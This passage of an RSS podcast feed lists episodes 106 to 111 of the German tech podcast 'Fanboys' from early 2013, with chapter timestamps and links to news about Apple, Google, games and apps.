+ <sc:chapter start="00:43:15" title="Samsung machte ne Smart Watch" href="http://www.macrumors.com/2013/03/19/samsung-confirms-work-on-smart-watch-project/" />
+ <sc:chapter start="00:45:26" title="Apple wird von THX verklagt" href="http://www.macrumors.com/2013/03/17/thx-sues-apple-over-alleged-narrow-profile-speaker-patent-infringement/" />
+ <sc:chapter start="00:46:44" title="AppArtAward" href="http://www.app-art-award.org" />
+ <sc:chapter start="00:48:07" title="Jabber Server und Push" href="https://audioboo.fm/boos/1279785-xmpp-proxyserver-authentication-geschichte.mp3" />
+ <sc:chapter start="00:52:49" title="Codequartett" href="https://audioboo.fm/boos/1272726-codequartett.mp3" />
+ <sc:chapter start="00:55:01" title="The Silent Age" href="https://itunes.apple.com/de/app/the-silent-age/id580991034?l=en&amp;mt=8" />
+ <sc:chapter start="00:57:26" title="Ridiculous Fishing" href="http://www.ridiculousfishing.com" />
+ <sc:chapter start="01:02:11" title="Year Walk" href="https://itunes.apple.com/de/app/year-walk/id555916407?l=en&amp;mt=8" />
+ <sc:chapter start="01:09:09" title="Rausschmeisser" href="http://vimeo.com/43933109" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23111&amp;user_id=map&amp;title=Fanboys%20Episode%20111&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#111:" />
+ </item>
+ <item>
+ <title>Episode #110 - Aufda Brennsuppn dahergschwomma</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Aufda Brennsuppn dahergschwomma</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN110.mp3" length="38816122" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN110</guid>
+ <pubDate>Fri, 15 Mar 2013 02:14:51 +0100</pubDate>
+ <itunes:duration>01:20:43</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:57 2010
+00:08:37 Ups: WebM verletzt doch Patente
+00:11:56 Oha: Firefox wird in version 22 mp3 und m4v abspielen
+00:14:53 Pebble ist da!!1elf!!
+00:28:24 Google Reader wird zum 1. Juli eingestampft
+00:31:53 Google Takeout via dataliberation.org
+00:33:15 Ron Gilbert verlässt Double Fine
+00:38:46 Apple Open Source
+00:45:04 Bring your own device, iOS MDM
+00:49:26 Kamera Import Wokflow
+00:55:44 firtz
+00:59:36 Simian Interface
+01:01:13 Gravity Duck
+01:04:00 Mou
+01:06:06 Wide Sky
+01:11:24 Starseed Pilgrim
+01:15:21 Reflector App
+01:19:33 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:57</td><td>2010</td></tr><tr><td>00:08:37</td><td><a href="http://appleinsider.com/articles/13/03/07/google-admits-its-vp8webm-codec-infringes-mpeg-h264-patents" target="_blank">Ups: WebM verletzt doch Patente</td></tr><tr><td>00:11:56</td><td><a href="http://www.golem.de/news/nightly-builds-firefox-22-soll-h-264-aac-und-mp3-abspielen-1302-97432.html" target="_blank">Oha: Firefox wird in version 22 mp3 und m4v abspielen</td></tr><tr><td>00:14:53</td><td><a href="http://getpebble.com" target="_blank">Pebble ist da!!1elf!!</td></tr><tr><td>00:28:24</td><td><a href="http://googlereader.blogspot.de/2013/03/powering-down-google-reader.html" target="_blank">Google Reader wird zum 1. Juli eingestampft</td></tr><tr><td>00:31:53</td><td><a href="http://www.dataliberation.org/home" target="_blank">Google Takeout via dataliberation.org</td></tr><tr><td>00:33:15</td><td><a href="http://www.develop-online.net/news/43510/Ron-Gilbert-leaves-Double-Fine" target="_blank">Ron Gilbert verlässt Double Fine</td></tr><tr><td>00:38:46</td><td><a href="http://www.opensource.apple.com" target="_blank">Apple Open Source</td></tr><tr><td>00:45:04</td><td><a href="http://kre.is/NUXV/BYOD%20und%20die%20Seele.mp3" target="_blank">Bring your own device, iOS MDM</td></tr><tr><td>00:49:26</td><td><a href="http://kre.is/NTe3/1_automator.mov" target="_blank">Kamera Import Wokflow</td></tr><tr><td>00:55:44</td><td><a href="http://kre.is/NTZn/2_podcasting.mov" target="_blank">firtz</td></tr><tr><td>00:59:36</td><td><a href="http://vested-interest.co/simian/browser/index.html?" target="_blank">Simian Interface</td></tr><tr><td>01:01:13</td><td><a href="https://itunes.apple.com/de/app/gravity.duck/id599272198?mt=8" target="_blank">Gravity Duck</td></tr><tr><td>01:04:00</td><td><a href="http://mouapp.com" target="_blank">Mou</td></tr><tr><td>01:06:06</td><td><a href="https://itunes.apple.com/de/app/wide-sky/id592925278?mt=8" target="_blank">Wide Sky</td></tr><tr><td>01:11:24</td><td><a href="http://www.starseedpilgrim.com" target="_blank">Starseed Pilgrim</td></tr><tr><td>01:15:21</td><td><a href="http://www.reflectorapp.com" target="_blank">Reflector App</td></tr><tr><td>01:19:33</td><td><a href="http://www.youtube.com/watch?v=k9fVkkHlWfg" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:57" title="2010" />
+ <sc:chapter start="00:08:37" title="Ups: WebM verletzt doch Patente" href="http://appleinsider.com/articles/13/03/07/google-admits-its-vp8webm-codec-infringes-mpeg-h264-patents" />
+ <sc:chapter start="00:11:56" title="Oha: Firefox wird in version 22 mp3 und m4v abspielen" href="http://www.golem.de/news/nightly-builds-firefox-22-soll-h-264-aac-und-mp3-abspielen-1302-97432.html" />
+ <sc:chapter start="00:14:53" title="Pebble ist da!!1elf!!" href="http://getpebble.com" />
+ <sc:chapter start="00:28:24" title="Google Reader wird zum 1. Juli eingestampft" href="http://googlereader.blogspot.de/2013/03/powering-down-google-reader.html" />
+ <sc:chapter start="00:31:53" title="Google Takeout via dataliberation.org" href="http://www.dataliberation.org/home" />
+ <sc:chapter start="00:33:15" title="Ron Gilbert verlässt Double Fine" href="http://www.develop-online.net/news/43510/Ron-Gilbert-leaves-Double-Fine" />
+ <sc:chapter start="00:38:46" title="Apple Open Source" href="http://www.opensource.apple.com" />
+ <sc:chapter start="00:45:04" title="Bring your own device, iOS MDM" href="http://kre.is/NUXV/BYOD%20und%20die%20Seele.mp3" />
+ <sc:chapter start="00:49:26" title="Kamera Import Wokflow" href="http://kre.is/NTe3/1_automator.mov" />
+ <sc:chapter start="00:55:44" title="firtz" href="http://kre.is/NTZn/2_podcasting.mov" />
+ <sc:chapter start="00:59:36" title="Simian Interface" href="http://vested-interest.co/simian/browser/index.html?" />
+ <sc:chapter start="01:01:13" title="Gravity Duck" href="https://itunes.apple.com/de/app/gravity.duck/id599272198?mt=8" />
+ <sc:chapter start="01:04:00" title="Mou" href="http://mouapp.com" />
+ <sc:chapter start="01:06:06" title="Wide Sky" href="https://itunes.apple.com/de/app/wide-sky/id592925278?mt=8" />
+ <sc:chapter start="01:11:24" title="Starseed Pilgrim" href="http://www.starseedpilgrim.com" />
+ <sc:chapter start="01:15:21" title="Reflector App" href="http://www.reflectorapp.com" />
+ <sc:chapter start="01:19:33" title="Rausschmeisser" href="http://www.youtube.com/watch?v=k9fVkkHlWfg" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23110&amp;user_id=map&amp;title=Fanboys%20Episode%20110&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#110:" />
+ </item>
+ <item>
+ <title>Episode #109 - CeBIT Sonderausgabe</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>CeBIT Sonderausgabe</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN109.mp3" length="35669517" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN109</guid>
+ <pubDate>Wed, 06 Mar 2013 18:32:44 +0100</pubDate>
+ <itunes:duration>01:14:10</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:01:44 2009
+00:09:46 Kellee Santiagio arbeitet jetzt für die OUYA
+00:12:40 Podlove Crowdfunding
+00:14:05 In-App Schlumpfbeeren Kauf Settlement
+00:16:57 Panic und der Lightining AV Adapter
+00:23:05 Es ist CeBit (lacht)
+00:24:46 TelePod, Mobi, TriPod
+00:27:14 Herr Groening hat mal ne Apple Broschüre illustriert
+00:28:42 Sparrow 2.0 Beta released
+00:30:41 Juhu! Das Leistungsschutzrecht ist da!
+00:35:24 Time Machine und iPhone
+00:39:49 Vavideo Abos
+00:42:29 Webmontag und Versioneye
+00:45:25 iOS Lokalisierung
+00:51:18 A small talk at the back of beyond
+00:52:55 Marcel hat VVVVVV gespielt
+00:57:37 BAFTAs für Videospiele
+01:02:17 Update für Finding Teddy ist da
+01:07:03 CRATE Magazin mit Interview von YT
+01:08:12 Rinth Island erinnert dom an Nebulus
+01:10:58 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:01:44</td><td>2009</td></tr><tr><td>00:09:46</td><td><a href="http://www.ouya.tv/ouya-is-coming/" target="_blank">Kellee Santiagio arbeitet jetzt für die OUYA</td></tr><tr><td>00:12:40</td><td><a href="http://metaebene.me/blog/2013/02/27/podlove-crowdfunding-gestartet/" target="_blank">Podlove Crowdfunding</td></tr><tr><td>00:14:05</td><td><a href="http://www.tuaw.com/2013/02/25/apple-reaches-settlement-with-parents-over-in-app-purchases/" target="_blank">In-App Schlumpfbeeren Kauf Settlement</td></tr><tr><td>00:16:57</td><td><a href="http://www.panic.com/blog/2013/03/the-lightning-digital-av-adapter-surprise/" target="_blank">Panic und der Lightining AV Adapter</td></tr><tr><td>00:23:05</td><td><a href="http://bundespresseportal.de/bayern/item/9387-cloud-computing-sicher-gemacht-bayern-stellt-auf-der-cebit-2013-eine-sichere-cloud-vor.html" target="_blank">Es ist CeBit (lacht)</td></tr><tr><td>00:24:46</td><td><a href="http://9to5mac.com/2013/03/04/apple-considered-calling-iphone-the-telepod-mobi-ipad-or-tripod-former-apple-ad-man-reveals/" target="_blank">TelePod, Mobi, TriPod</td></tr><tr><td>00:27:14</td><td><a href="http://vintagezen.com/2013/2/26/matt-groenings-artwork-for-apple" target="_blank">Herr Groening hat mal ne Apple Broschüre illustriert</td></tr><tr><td>00:28:42</td><td><a href="http://forum.sparrow-framework.org/topic/sparrow-20-beta" target="_blank">Sparrow 2.0 Beta released</td></tr><tr><td>00:30:41</td><td>Juhu! Das Leistungsschutzrecht ist da!</td></tr><tr><td>00:35:24</td><td><a href="http://audioboo.fm/boos/1242830-frage-zu-timemachine-und-iphone-glitch.mp3" target="_blank">Time Machine und iPhone</td></tr><tr><td>00:39:49</td><td><a href="http://audioboo.fm/boos/1241518-nachtrag-mediathekview-vavideo.mp3" target="_blank">Vavideo Abos</td></tr><tr><td>00:42:29</td><td><a href="http://audioboo.fm/boos/1239591-fanboys-audioboo-zum-webmontag-und-versioneye.mp3" target="_blank">Webmontag und Versioneye</td></tr><tr><td>00:45:25</td><td><a href="http://audioboo.fm/boos/1230566-wie-wird-man-ios-regionalisierung-los.mp3" target="_blank">iOS Lokalisierung</td></tr><tr><td>00:51:18</td><td><a href="http://scriptwelder.com/games/asmalltalk/" target="_blank">A small talk at the back of beyond</td></tr><tr><td>00:52:55</td><td><a href="http://thelettervsixtim.es" target="_blank">Marcel hat VVVVVV gespielt</td></tr><tr><td>00:57:37</td><td><a href="http://www.guardian.co.uk/technology/gamesblog/2013/mar/05/bafta-video-game-awards-2013-live" target="_blank">BAFTAs für Videospiele</td></tr><tr><td>01:02:17</td><td><a href="https://itunes.apple.com/de/app/finding-teddy/id593845428?mt=8" target="_blank">Update für Finding Teddy ist da</td></tr><tr><td>01:07:03</td><td><a href="http://www.crate-magazin.de" target="_blank">CRATE Magazin mit Interview von YT</td></tr><tr><td>01:08:12</td><td><a href="https://itunes.apple.com/de/app/rinth-island/id490616206?l=en&amp;mt=8" target="_blank">Rinth Island erinnert dom an Nebulus</td></tr><tr><td>01:10:58</td><td><a href="https://soundcloud.com/pomdeterrific/pomdeter-call-me-a-hole" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:01:44" title="2009" />
+ <sc:chapter start="00:09:46" title="Kellee Santiagio arbeitet jetzt für die OUYA" href="http://www.ouya.tv/ouya-is-coming/" />
+ <sc:chapter start="00:12:40" title="Podlove Crowdfunding" href="http://metaebene.me/blog/2013/02/27/podlove-crowdfunding-gestartet/" />
+ <sc:chapter start="00:14:05" title="In-App Schlumpfbeeren Kauf Settlement" href="http://www.tuaw.com/2013/02/25/apple-reaches-settlement-with-parents-over-in-app-purchases/" />
+ <sc:chapter start="00:16:57" title="Panic und der Lightining AV Adapter" href="http://www.panic.com/blog/2013/03/the-lightning-digital-av-adapter-surprise/" />
+ <sc:chapter start="00:23:05" title="Es ist CeBit (lacht)" href="http://bundespresseportal.de/bayern/item/9387-cloud-computing-sicher-gemacht-bayern-stellt-auf-der-cebit-2013-eine-sichere-cloud-vor.html" />
+ <sc:chapter start="00:24:46" title="TelePod, Mobi, TriPod" href="http://9to5mac.com/2013/03/04/apple-considered-calling-iphone-the-telepod-mobi-ipad-or-tripod-former-apple-ad-man-reveals/" />
+ <sc:chapter start="00:27:14" title="Herr Groening hat mal ne Apple Broschüre illustriert" href="http://vintagezen.com/2013/2/26/matt-groenings-artwork-for-apple" />
+ <sc:chapter start="00:28:42" title="Sparrow 2.0 Beta released" href="http://forum.sparrow-framework.org/topic/sparrow-20-beta" />
+ <sc:chapter start="00:30:41" title="Juhu! Das Leistungsschutzrecht ist da!" />
+ <sc:chapter start="00:35:24" title="Time Machine und iPhone" href="http://audioboo.fm/boos/1242830-frage-zu-timemachine-und-iphone-glitch.mp3" />
+ <sc:chapter start="00:39:49" title="Vavideo Abos" href="http://audioboo.fm/boos/1241518-nachtrag-mediathekview-vavideo.mp3" />
+ <sc:chapter start="00:42:29" title="Webmontag und Versioneye" href="http://audioboo.fm/boos/1239591-fanboys-audioboo-zum-webmontag-und-versioneye.mp3" />
+ <sc:chapter start="00:45:25" title="iOS Lokalisierung" href="http://audioboo.fm/boos/1230566-wie-wird-man-ios-regionalisierung-los.mp3" />
+ <sc:chapter start="00:51:18" title="A small talk at the back of beyond" href="http://scriptwelder.com/games/asmalltalk/" />
+ <sc:chapter start="00:52:55" title="Marcel hat VVVVVV gespielt" href="http://thelettervsixtim.es" />
+ <sc:chapter start="00:57:37" title="BAFTAs für Videospiele" href="http://www.guardian.co.uk/technology/gamesblog/2013/mar/05/bafta-video-game-awards-2013-live" />
+ <sc:chapter start="01:02:17" title="Update für Finding Teddy ist da" href="https://itunes.apple.com/de/app/finding-teddy/id593845428?mt=8" />
+ <sc:chapter start="01:07:03" title="CRATE Magazin mit Interview von YT" href="http://www.crate-magazin.de" />
+ <sc:chapter start="01:08:12" title="Rinth Island erinnert dom an Nebulus" href="https://itunes.apple.com/de/app/rinth-island/id490616206?l=en&amp;mt=8" />
+ <sc:chapter start="01:10:58" title="Rausschmeisser" href="https://soundcloud.com/pomdeterrific/pomdeter-call-me-a-hole" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23109&amp;user_id=map&amp;title=Fanboys%20Episode%20109&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#109:" />
+ </item>
+ <item>
+ <title>Episode #108 - Lutschfeste Küchenmesser</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Lutschfeste Küchenmesser</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN108.mp3" length="38740263" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN108</guid>
+ <pubDate>Fri, 01 Mar 2013 00:33:56 +0100</pubDate>
+ <itunes:duration>01:20:34</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:07:13 2007
+00:10:48 2008
+00:19:04 Supermeat Boy Update
+00:22:12 Chromebook Pixel
+00:27:45 Jony Ive bei Blue Peter
+00:30:03 App.net - gratis oder umsonst?
+00:40:35 Back to my Mac und ssh
+00:43:34 Back to my Mac und WebBrick
+00:46:30 Jetzt neu: Leistungsschutzrecht
+00:55:56 Monotony
+00:59:21 vavideo.de
+01:08:12 Groceries 3.0
+01:10:27 Glif
+01:15:44 Kickstarter App
+01:18:28 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:07:13</td><td>2007</td></tr><tr><td>00:10:48</td><td>2008</td></tr><tr><td>00:19:04</td><td><a href="https://twitter.com/Ahti333/status/304750103309201408" target="_blank">Supermeat Boy Update</td></tr><tr><td>00:22:12</td><td><a href="http://www.google.com/intl/en/chrome/devices/chromebook-pixel/" target="_blank">Chromebook Pixel</td></tr><tr><td>00:27:45</td><td><a href="http://youtu.be/6SD70jM1uwo" target="_blank">Jony Ive bei Blue Peter</td></tr><tr><td>00:30:03</td><td><a href="http://blog.app.net/2013/02/25/introducing-a-free-tier/" target="_blank">App.net - gratis oder umsonst?</td></tr><tr><td>00:40:35</td><td><a href="http://onethingwell.org/post/27835796928/remote-ssh-bact-to-my-mac" target="_blank">Back to my Mac und ssh</td></tr><tr><td>00:43:34</td><td><a href="https://gist.github.com/monkeydom/3424031" target="_blank">Back to my Mac und WebBrick</td></tr><tr><td>00:46:30</td><td><a href="http://www.google.de/search?hl=de&amp;gl=de&amp;tbm=nws&amp;q=leistungsschutzrecht" target="_blank">Jetzt neu: Leistungsschutzrecht</td></tr><tr><td>00:55:56</td><td><a href="https://itunes.apple.com/de/app/monotony/id533978766?mt=12" target="_blank">Monotony</td></tr><tr><td>00:59:21</td><td><a href="http://vavideo.de" target="_blank">vavideo.de</td></tr><tr><td>01:08:12</td><td><a href="https://itunes.apple.com/app/groceries/id307711028?mt=8" target="_blank">Groceries 3.0</td></tr><tr><td>01:10:27</td><td><a href="http://www.studioneat.com/products/glif" target="_blank">Glif</td></tr><tr><td>01:15:44</td><td><a href="https://itunes.apple.com/us/app/kickstarter-for-iphone/id596961532?ls=1&amp;mt=8" target="_blank">Kickstarter App</td></tr><tr><td>01:18:28</td><td><a href="http://www.youtube.com/watch?v=j9ybmbcrdVw" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:07:13" title="2007" />
+ <sc:chapter start="00:10:48" title="2008" />
+ <sc:chapter start="00:19:04" title="Supermeat Boy Update" href="https://twitter.com/Ahti333/status/304750103309201408" />
+ <sc:chapter start="00:22:12" title="Chromebook Pixel" href="http://www.google.com/intl/en/chrome/devices/chromebook-pixel/" />
+ <sc:chapter start="00:27:45" title="Jony Ive bei Blue Peter" href="http://youtu.be/6SD70jM1uwo" />
+ <sc:chapter start="00:30:03" title="App.net - gratis oder umsonst?" href="http://blog.app.net/2013/02/25/introducing-a-free-tier/" />
+ <sc:chapter start="00:40:35" title="Back to my Mac und ssh" href="http://onethingwell.org/post/27835796928/remote-ssh-bact-to-my-mac" />
+ <sc:chapter start="00:43:34" title="Back to my Mac und WebBrick" href="https://gist.github.com/monkeydom/3424031" />
+ <sc:chapter start="00:46:30" title="Jetzt neu: Leistungsschutzrecht" href="http://www.google.de/search?hl=de&amp;gl=de&amp;tbm=nws&amp;q=leistungsschutzrecht" />
+ <sc:chapter start="00:55:56" title="Monotony" href="https://itunes.apple.com/de/app/monotony/id533978766?mt=12" />
+ <sc:chapter start="00:59:21" title="vavideo.de" href="http://vavideo.de" />
+ <sc:chapter start="01:08:12" title="Groceries 3.0" href="https://itunes.apple.com/app/groceries/id307711028?mt=8" />
+ <sc:chapter start="01:10:27" title="Glif" href="http://www.studioneat.com/products/glif" />
+ <sc:chapter start="01:15:44" title="Kickstarter App" href="https://itunes.apple.com/us/app/kickstarter-for-iphone/id596961532?ls=1&amp;mt=8" />
+ <sc:chapter start="01:18:28" title="Rausschmeisser" href="http://www.youtube.com/watch?v=j9ybmbcrdVw" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23108&amp;user_id=map&amp;title=Fanboys%20Episode%20108&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#108:" />
+ </item>
+ <item>
+ <title>Episode #107 - Jo, jo, jo.</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Jo, jo, jo.</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN107.mp3" length="40376782" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN107</guid>
+ <pubDate>Thu, 21 Feb 2013 17:51:33 +0100</pubDate>
+ <itunes:duration>01:23:58</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:33 2007
+00:04:42 Cyber Attacke!
+00:09:32 iOS 6.1.2
+00:12:11 Playstation 4
+01:02:55 Super Meatboy und der Mac
+01:06:58 The Art of Braid
+01:08:18 Versu
+01:12:33 Playfic
+01:13:44 Inform 7
+01:16:34 Olo
+01:20:25 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:33</td><td>2007</td></tr><tr><td>00:04:42</td><td><a href="http://arstechnica.com/security/2013/02/web-forum-for-iphone-developers-hosted-malware-that-hacked-facebook/" target="_blank">Cyber Attacke!</td></tr><tr><td>00:09:32</td><td>iOS 6.1.2</td></tr><tr><td>00:12:11</td><td><a href="http://daringfireball.net/linked/2013/02/20/playstation-4" target="_blank">Playstation 4</td></tr><tr><td>01:02:55</td><td>Super Meatboy und der Mac</td></tr><tr><td>01:06:58</td><td><a href="http://www.davidhellman.net/blog/the-art-of-braid-index" target="_blank">The Art of Braid</td></tr><tr><td>01:08:18</td><td><a href="https://itunes.apple.com/us/app/versu/id573034186?mt=8#" target="_blank">Versu</td></tr><tr><td>01:12:33</td><td><a href="http://playfic.com" target="_blank">Playfic</td></tr><tr><td>01:13:44</td><td><a href="http://inform7.com" target="_blank">Inform 7</td></tr><tr><td>01:16:34</td><td><a href="https://itunes.apple.com/de/app/olo-game/id529826126?l=en&amp;mt=8" target="_blank">Olo</td></tr><tr><td>01:20:25</td><td><a href="http://www.youtube.com/watch?v=5PsnxDQvQpw" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:33" title="2007" />
+ <sc:chapter start="00:04:42" title="Cyber Attacke!" href="http://arstechnica.com/security/2013/02/web-forum-for-iphone-developers-hosted-malware-that-hacked-facebook/" />
+ <sc:chapter start="00:09:32" title="iOS 6.1.2" />
+ <sc:chapter start="00:12:11" title="Playstation 4" href="http://daringfireball.net/linked/2013/02/20/playstation-4" />
+ <sc:chapter start="01:02:55" title="Super Meatboy und der Mac" />
+ <sc:chapter start="01:06:58" title="The Art of Braid" href="http://www.davidhellman.net/blog/the-art-of-braid-index" />
+ <sc:chapter start="01:08:18" title="Versu" href="https://itunes.apple.com/us/app/versu/id573034186?mt=8#" />
+ <sc:chapter start="01:12:33" title="Playfic" href="http://playfic.com" />
+ <sc:chapter start="01:13:44" title="Inform 7" href="http://inform7.com" />
+ <sc:chapter start="01:16:34" title="Olo" href="https://itunes.apple.com/de/app/olo-game/id529826126?l=en&amp;mt=8" />
+ <sc:chapter start="01:20:25" title="Rausschmeisser" href="http://www.youtube.com/watch?v=5PsnxDQvQpw" />
+ </sc:chapters>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?url=http%3A%2F%2Ffanboys.fm%2F%23107&amp;user_id=map&amp;title=Fanboys%20Episode%20107&amp;tags=podcast&amp;category=audio&amp;language=de_DE" type="text/html" />
+ <atom:link rel="http://podlove.org/deep-link" href="http://fanboys.fm/#107:" />
+ </item>
+ <item>
+ <title>Episode #106 - Hayday Anonymous</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>fanboys</itunes:author>
+ <itunes:subtitle>Hayday Anonymous</itunes:subtitle>
+ <enclosure url="http://xn--fanbys-exa.org/episodes/FAN106.mp3" length="22938271" type="audio/mpeg"/>
+ <guid isPermaLink="false">FAN106</guid>
+ <pubDate>Fri, 15 Feb 2013 01:48:19 +0100</pubDate>
+ <itunes:duration>00:47:39</itunes:duration>
+
+ <itunes:summary><![CDATA[00:00:00 Anfang
+00:00:30 2006
+00:04:22 iOS 6.1 Exchange Bug
+00:05:46 iOS 6.1 Lockscreen Bug
+00:08:43 AppleTV Rumors
+00:14:15 Opera macht WebKit
+00:15:38 Aus
+00:16:53 MBP/MBA Bump
+00:20:07 Hörertipp: Suchen mit Chrome
+00:21:16 Microsoft SQL und ObjC
+00:22:49 C lernen
+00:28:49 Hay Day
+00:32:01 Tweetnest
+00:33:35 Indie Game The Movie
+00:39:42 The story of Mojang
+00:43:53 Rausschmeisser
+
+
+
+(cc-by-nc-sa) 2012]]></itunes:summary>
+ <description><![CDATA[<table><tr><td>00:00:00</td><td>Anfang</td></tr><tr><td>00:00:30</td><td>2006</td></tr><tr><td>00:04:22</td><td><a href="http://appleinsider.com/articles/13/02/13/apple-says-fix-for-ios-61-exchange-syncing-bug-coming-soon" target="_blank">iOS 6.1 Exchange Bug</td></tr><tr><td>00:05:46</td><td><a href="http://appleinsider.com/articles/13/02/14/new-security-hole-in-apples-ios-61-lets-anyone-bypass-an-iphones-lockscreen" target="_blank">iOS 6.1 Lockscreen Bug</td></tr><tr><td>00:08:43</td><td><a href="http://appleinsider.com/articles/13/02/13/xbox-project-cofounder-game-enabled-apple-tv-would-simply-kill-playstation-wii-u-and-xbox" target="_blank">AppleTV Rumors</td></tr><tr><td>00:14:15</td><td><a href="http://www.golem.de/news/browser-opera-steigt-auf-webkit-und-v8-um-1302-97559.html" target="_blank">Opera macht WebKit</td></tr><tr><td>00:15:38</td><td>Aus</td></tr><tr><td>00:16:53</td><td><a href="http://www.apple.com/pr/library/2013/02/13Apple-Updates-Processors-Prices-of-MacBook-Pro-with-Retina-Display.html" target="_blank">MBP/MBA Bump</td></tr><tr><td>00:20:07</td><td>Hörertipp: Suchen mit Chrome</td></tr><tr><td>00:21:16</td><td>Microsoft SQL und ObjC</td></tr><tr><td>00:22:49</td><td><a href="http://masters-of-the-void.com" target="_blank">C lernen</td></tr><tr><td>00:28:49</td><td><a href="https://itunes.apple.com/us/app/hay-day/id506627515?mt=8" target="_blank">Hay Day</td></tr><tr><td>00:32:01</td><td><a href="https://github.com/graulund/tweetnest/pull/45" target="_blank">Tweetnest</td></tr><tr><td>00:33:35</td><td><a href="http://buy.indiegamethemovie.com" target="_blank">Indie Game The Movie</td></tr><tr><td>00:39:42</td><td><a href="http://www.2playerproductions.com/projects/minecraft" target="_blank">The story of Mojang</td></tr><tr><td>00:43:53</td><td><a href="http://www.paulandstorm.com/lyrics/frogger-the-frogger-musical/" target="_blank">Rausschmeisser</td></tr></table>]]></description>
+ <sc:chapters version="1.0">
+ <sc:chapter start="00:00:00" title="Anfang" />
+ <sc:chapter start="00:00:30" title="2006" />
+ <sc:chapter start="00:04:22" title="iOS 6.1 Exchange Bug" href="http://appleinsider.com/articles/13/02/13/apple-says-fix-for-ios-61-exchange-syncing-bug-coming-soon" />
+ <sc:chapter start="00:05:46" title="iOS 6.1 Lockscreen Bug" href="http://appleinsider.com/articles/13/02/14/new-security-hole-in-apples-ios-61-lets-anyone-bypass-an-iphones-lockscreen" />
+ <sc:chapter start="00:08:43" title="AppleTV Rumors" href="http://appleinsider.com/articles/13/02/13/xbox-project-cofounder-game-enabled-apple-tv-would-simply-kill-playstation-wii-u-and-xbox" />
+ <sc:chapter start="00:14:15" title="Opera macht WebKit" href="http://www.golem.de/news/browser-opera-steigt-auf-webkit-und-v8-um-1302-97559.html" />
+ <sc:chapter start="00:15:38" title="Aus" />
+ <sc:chapter start="00:16:53" title="MBP/MBA Bump" href="http://www.apple.com/pr/library/2013/02/13Apple-Updates-Processors-Prices-of-MacBook-Pro-with-Retina-Display.html" />
+ <sc:chapter start="00:20:07" title="Hörertipp: Suchen mit Chrome" />
+ <sc:chapter start="00:21:16" title="Microsoft SQL und ObjC" />
+ <sc:chapter start="00:22:49" title="C lernen" href="http://masters-of-the-void.com" />
+ <sc:chapter start="00:28:49" title="Hay Day" href="https://itunes.apple.com/us/app/hay-day/id506627515?mt=8" />
+ <sc:chapter start="00:32:01" title="Tweetnest" href="https://github.com/graulund/tweetnest/pull/45" />
+ <sc:chapter start="00:33:35" title="Indie Game The Movie" href="http://buy.indiegamethemovie.com" />
+ <sc:chapter start="00:39:42" title="The story of Mojang" href="http://www.2playerproductions.com/projects/minecraft" />
+ <sc:chapter start="00:43:53" title="Rausschmeisser" href="http://www.paulandstorm.com/lyrics/frogger-the-frogger-musical/" />
+ </sc:chapters>
